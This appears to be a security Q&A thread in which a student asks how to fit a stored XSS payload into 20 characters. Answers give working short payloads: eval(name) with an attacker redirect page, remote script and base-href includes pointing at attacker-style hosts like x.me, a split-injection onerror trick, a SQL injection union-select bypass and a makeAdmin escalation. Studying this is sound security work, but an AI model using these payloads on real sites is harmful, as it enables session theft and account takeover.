0

For an university project I have to perform an analysis on a web application to find out XSS vulnerabilities. After this I have to report and create automatic test to prove vulnerabilities that I have discovered.

I've discovered a stored XSS vulnerability which affects a database field declared as varchar(20) and, in order to demonstrate it, I've used <h1>Attack!</h1> as an attack vector and this is sufficient for my task.

My question is about an hypotetical real scenario: how could I craft an effective attack vector with the limitation of only 20 characters. Is it possible? How?

Could someone provide an hypotetical example?

The vulnerable variable is $coursename and the whole PHP source of the page which display the input is this:

    <?php

 require_once("DBFunctions.php");

 // Get the coursename //
 $query = mysql_query("SELECT coursename FROM courses WHERE courseid = '$_POST[selectclass]'") or die("ManageAssignments.php: Unable to get the course name - ".mysql_error());
 $coursename = mysql_result($query,0);

 print("
 <h1>View Assignments</h1>
 <br><br>
 <table align='center' width='600' cellspacing='0' cellpadding='0' border='0'>
 <tr>
 <td>
 <form name='assignments' action='./index.php' method='POST'>
  <br><br>
  <table cellspacing='0' width='600' cellpadding='8' class='dynamiclist'>
   <tr class='header'>
    <th colspan='6'><h2>$coursename</th>
   </tr>
   <tr class='header'>
    <th width='120' align='left' style='padding-left: 20px;'>Title</th>
    <th>Assigned Task</th>
    <th>Possible Points</th>
    <th>Date Assigned</th>
    <th>Date Due</th>
   </tr>");

   // Get the total number of assignments to know how many pages to have //
   $query = mysql_query("SELECT COUNT(*) FROM assignments")
     or die("ManageAssignments.php: Unable to retrieve total number of assignments - ".mysql_error());

   $numrows = mysql_result($query,0);

   $numpages = ceil($numrows / 25);

   if($_POST["onpage"] == "")
   {
    $_POST["onpage"]=1;
   }

   // Get and display the assignments //
   $query = mysql_query("SELECT assignmentid, title, totalpoints, assigneddate, duedate, assignmentinformation FROM assignments WHERE courseid = $_POST[selectclass] ORDER BY assigneddate DESC")
            or die("ManageAssignments.php: Unable to get a list of assignments - ".mysql_error());
   $row = 0;
   $actualrow = 0;
   while($assignment = mysql_fetch_row($query))
   {
    $row++;

    if($row > ($_POST["onpage"]*25)-25 && $row <= ($_POST["onpage"]*25))
    {
     $actualrow++;

     $assignment[2] = number_format($assignment[2],0);
     $assignment[3] = convertfromdb($assignment[3]);
     $assignment[4] = convertfromdb($assignment[4]);

     print("<tr class='".( $row%2==0 ? "even" : "odd" )."'>
      <td align='left' style='padding-left: 20px;'>$assignment[1]</td>
      <td style='text-align: left;'>$assignment[5]</td>
      <td>$assignment[2]</td>
      <td>$assignment[3]</td>
      <td>$assignment[4]</td>
     </tr>");
    }
   }

 print(" </table>
  <br>
  <center>Page: ");

  for($i=1; $i<=$numpages; $i++)
  {
   if($i == $_POST["onpage"])
   {
    print("<a href='JavaScript: document.assignments.deleteassignment.value=0;document.assignments.page2.value=2;document.assignments.onpage.value=$i;document.assignments.submit();' class='selectedpagenum' onMouseover=\"window.status='Go to page $i';return true;\" onMouseout=\"window.status='';return true;\">$i</a>&nbsp;\n");
   }
   else
   {
    print("<a href='JavaScript: document.assignments.deleteassignment.value=0;document.assignments.page2.value=2;document.assignments.onpage.value=$i;document.assignments.submit();' class='pagenum' onMouseover=\"window.status='Go to page $i';return true;\" onMouseout=\"window.status='';return true;\">$i</a>&nbsp;\n");
   }
  }

print("\n</center>
  <input type='hidden' name='deleteassignment'>
  <input type='hidden' name='selectassignment'>
  <input type='hidden' name='page2' value='$page2'>
  <input type='hidden' name='onpage' value='$_POST[onpage]'>
  <input type='hidden' name='logout'>
  <input type='hidden' name='selectclass' value='$_POST[selectclass]' />
  <input type='hidden' name='page' value='$page'>
 </form>
 </td>
 </tr>
 </table>

 <table width='520' border=0 cellspacing=0 cellpadding=0 height=1>
  <tr>
   <td valign='top'>
   <empty>
   </td>
  </tr>
 </table>
 ");
?>
0

4 Answers 4

4

The answers are already posted. So, I'm just making it short. Here's a working example of an XSS payload in HTML context which is exactly 20 chars in length;

<p oncut=eval(name)>

The window.name (simply name) property can be assigned anything and is also inherited cross-origin. This gives us an advantage and let us execute our payload without any limitation unless the page rewrites its name property itself.

Edit: Adding an example
So, you could define payload in your own page and redirect to the vulnerable page like;

<!-- attacker's site: attacker.com -->
<script>
window.name = '<PAYLOAD'>;
location = '//victim.com/vulnerable_page';
// vulnerable_page will eval(name)
</script>

Another even shorter, might not work in all cases and all browsers, is

<script src=//㎠.㎺>

That's only 3 letters for the domain name incluing dot and tld. It's auto translated to cm2.pw by browsers. I remember cases where you don't necessarily need to close script tag.

I had written a blog post on the same topic a few days back, please refer to https://blog.cm2.pw/length-restricted-xss/ for explotation of eval(name) payload and other shortest payloads possible.

5
  • Cool trick with the domain name !
    – Xavier59
    Commented Dec 9, 2018 at 21:27
  • Where does name come from here? You can't really have it somewhere in the HTML code, because getting it via JavaScript (getElementById etc) would be a lot of characters. And if you can define it in a previous block of JS, couldn't you just execute whatever you want to execute there?
    – tim
    Commented Dec 9, 2018 at 21:29
  • @tim That's where I asked to refer to my blog post for explotation part. Commented Dec 9, 2018 at 21:30
  • 1
    @1lastBr3ath Thanks for editing in the explanation (answers should really be self-contained in case a link stops working). I didn't know that you can just omit the "window." part; that's a neat trick. Regarding not closing script tags: I don't think that it works in any modern browser. But it will work if you have any other script tags after the insertion point (because the first opening script tag will be used).
    – tim
    Commented Dec 9, 2018 at 21:40
  • @tim Yep! That's why I added 'might not work in all cases and all browsers'. I needed it to add for the sake of completeness like <base href> one. Commented Dec 9, 2018 at 21:43
3

20 characters is not all that much, so exploitability depends on context.

Ideally, you would want to include scripts so that you can completely bypass the length restriction (assuming the CSP allows for it). The following are the shortest I could come up with:

// basic include, remote file (29 chars)
<script src=//x.me></script>

// using jquery (if already included), remote file (22 chars) (if already in JS context, otherwise 40)
$.getScript('//x.me')

// using jquery, local file (17 chars) (if already in JS context, otherwise 35)
$.getScript('x')

Now, you probably won't be able to get a one-character domain name, so you can add +1 char to the remote examples. either way, it's too long (but not by much).

The third example assumes that you have the ability to upload files to the server. JS files are not inherently dangerous (well, except for CSP bypass in case of XSS), so this might be possible. But you only have 4 characters for the path from the webroot + the filename.

Another - context dependend - option would be:

// rewrite base (19 chars)
<base href=//x.me>

If a script is included using a relative path - eg <script src="myscript.js"></script>, then this would load that script from the attacker-controlled server.

You might save a character if you are already in the correct context (so you may eg save the starting or closing bracket). HTML injection may also be a viable attack vector (eg <img src='//x.me/ (18 chars) to steal CSRF token).

Based on my research, you can't get any shorter than the above (unless you get really lucky regarding context, eg as given in the answer by @Mike Ounsworth).


Of course, in your example, this doesn't matter because you don't need to worry about the database-based length restriction. You should be able to use the SQL injection to print anything you want using -1' union select '[XSS payload]' (for reflected XSS (if there is no CSRF protection for the POST request)).

2
  • @Xavier59 Thanks, you are completely right; I updated my answer.
    – tim
    Commented Dec 9, 2018 at 20:35
  • quotes are not mandatory for html attributes so you could write <base href=//x.me> which is 19 characters :D
    – Xavier59
    Commented Dec 9, 2018 at 21:23
1

When I have short limitations for payloads like that, what I do is first search if there is not another input I have control of (even if it's sanitize) that is being reflected.

In your example, there are other parameters (even if they are not vulnerable) being reflected in the page. For example, $_POST[onpage]. Let's say that only quotes (') are being sanitized (which is enough to prevent the xss here), but not double quotes (").

We can then craft a payload

coursname : <img src="//x.me/? (18 characters)

$_POST[onpage] : " onerror=alert("1");//

It will be rendered as

<th colspan='6'><h2><img src="//x.me/?</th>...<input type='hidden' name='onpage' value="onerror=alert("1");//'>

Because it is only used quotes ' for attributes between coursename and $_POST[onpage], the whole html code will be treated as being part of the image source and will be ignored until you close it later.

Sometimes thought, you don't have another input. But there might still be a way depending of what's next. Let's take the following code for example where $coursename would be unsanitized too.

<h2>$coursename</h2>
<script src="mysuperscript.js></script>

If you set $coursename as <script src=//x.me/> (20 characters !!) it will execute. When it sees a <script src=x> the html parser is looking for the </script> tag and if it exists, it will load and execute your javascript. It will also ignore everything between the script tags (so it will use the closing script tag of the mysuperscript.js script !)

0

Any example like that will be very application-specific.

Hypothetical example: the admin page of some web app, where one of the actions is to promote another user to being an admin:

function makeAdmin(userId) {
  // send a POST to the server elevating user $userId to the admin role
  ...
}

Now let's say some admin.jsp page has a XSS vuln like this:

<!DOCTYPE html>
<html lang="en-US">
...
<script>
displayUserInput(%{userInput});
</script>
...
</html>

Let's assume the userId for my account is 1234. So I provide the following 16 character input: );makeAdmin(1234 wait for some real admin to log in and trigger my stored XSS, and BAM! I'm now an admin!


For most sites / pages, 20 characters is probably too short to do any real damage, but it's certainly possible.

1
  • I don't code javascript / jsp very often, so I apologize if the syntax is wrong. Commented Dec 9, 2018 at 19:26

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .